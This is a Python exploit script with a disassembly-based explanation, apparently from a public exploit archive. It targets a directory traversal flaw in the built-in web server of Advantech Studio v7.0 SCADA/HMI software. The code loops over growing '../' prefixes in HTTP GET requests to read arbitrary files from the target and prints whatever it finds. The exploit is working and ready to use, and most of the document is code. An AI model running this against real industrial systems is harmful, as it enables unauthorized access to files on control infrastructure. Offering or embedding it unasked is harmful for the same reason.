83 lines
No EOL
3.2 KiB
Python
Executable file
83 lines
No EOL
3.2 KiB
Python
Executable file
# Exploit Title: Advantech Studio v7.0 SCADA/HMI Directory Traversal 0-day
|
|
# Google Dork: N/A
|
|
# Date: 2012-12-03
|
|
# Exploit Author: Nin3
|
|
# Vendor Homepage: http://advantech.com.tw
|
|
# Version: 7.0 Build Number 0501.1111.0402.0000
|
|
# Tested on: Windows
|
|
# CVE : N/A
|
|
|
|
'''
|
|
Advantech Studio v7.0 SCADA/HMI has a built in web server NTWebServer.exe,
|
|
the web server is a standalone executable that is used along side every project'
|
|
to serve as a web based management system with the help of an activex.
|
|
|
|
The flaw occurs because of a lack of any check on the path of the file requested. in
|
|
function sub_401A90:
|
|
|
|
.text:00402A4A push 0 ; dwFlagsAndAttributes
|
|
.text:00402A4C push 3 ; dwCreationDisposition
|
|
.text:00402A4E push 3 ; dwShareMode
|
|
.text:00402A50 push 80000000h ; dwDesiredAccess
|
|
.text:00402A55 mov edx, [ebp+lpFileName]
|
|
.text:00402A58 push edx ; lpFileName
|
|
.text:00402A59 lea ecx, [ebp+var_1C]
|
|
.text:00402A5C call sub_401A90
|
|
|
|
|
|
sub_401A90 use CreateFileW function directly.
|
|
|
|
.text:00401A97 push 0 ; hTemplateFile
|
|
.text:00401A99 mov eax, [ebp+dwFlagsAndAttributes]
|
|
.text:00401A9C push eax ; dwFlagsAndAttributes
|
|
.text:00401A9D mov ecx, [ebp+dwCreationDisposition]
|
|
.text:00401AA0 push ecx ; dwCreationDisposition
|
|
.text:00401AA1 push 0 ; lpSecurityAttributes
|
|
.text:00401AA3 mov edx, [ebp+dwShareMode]
|
|
.text:00401AA6 push edx ; dwShareMode
|
|
.text:00401AA7 mov eax, [ebp+dwDesiredAccess]
|
|
.text:00401AAA push eax ; dwDesiredAccess
|
|
.text:00401AAB mov ecx, [ebp+lpFileName]
|
|
.text:00401AAE push ecx ; lpFileName
|
|
.text:00401AAF call ds:CreateFileW
|
|
|
|
'''
|
|
import argparse
|
|
import httplib
|
|
|
|
MAX_NESTED_DIRECTORY = 32
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument('-d')
|
|
parser.add_argument('-p')
|
|
parser.add_argument('-f')
|
|
args = parser.parse_args()
|
|
if args.d == None or args.p == None or args.f == None:
|
|
print "[!]EXAMPLE USAGE: traverse.py -d 127.0.0.1 -p 80 -f windows/system.ini"
|
|
return
|
|
httpConn = httplib.HTTPConnection(args.d, int(args.p))
|
|
for i in xrange(0, MAX_NESTED_DIRECTORY):
|
|
temp = MakePath(args.f, i)
|
|
httpConn.request('GET', temp)
|
|
resp = httpConn.getresponse()
|
|
content = resp.read()
|
|
if resp.status == 404:
|
|
print 'Not found ' + temp
|
|
else:
|
|
print 'Found ' + temp
|
|
print'------------------------------------------'
|
|
print content
|
|
print'---------------------------------------EOF'
|
|
break
|
|
|
|
|
|
|
|
def MakePath(f, count):
|
|
a = ""
|
|
for i in xrange(0, count):
|
|
a = a + "../"
|
|
return a + f
|
|
|
|
if __name__ == "__main__":
|
|
main() |